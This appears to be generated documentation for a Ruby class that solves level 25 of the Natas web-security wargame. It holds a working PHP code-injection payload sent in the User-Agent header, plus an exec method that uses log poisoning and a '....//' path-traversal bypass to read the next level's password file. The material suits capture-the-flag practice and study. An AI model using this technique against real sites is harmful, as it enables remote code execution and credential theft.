Class: NatasLevel25

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 25

Constant Summary collapse

LEVEL =
25
PAGE =
'/'
PAYLOAD =
%(Password: <? echo(file_get_contents('#{WEBPASS}/natas26')); ?>)

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



707
708
709
710
711
712
713
714
715
716
717
718
# File 'lib/natas.rb', line 707

def exec
  response = get(
    "#{PAGE}?lang=natas_webpass",
    { 'User-Agent' => PAYLOAD }
  )
  cookie = response['Set-Cookie'].split('; ')[0]
  session_id = cookie.split('=')[1]
  data = get("#{PAGE}/?lang=....//logs/natas25_#{session_id}.log").body
  match = /Password: (\w{32})\n/.match(data)
  not_found unless match
  found(match[1])
end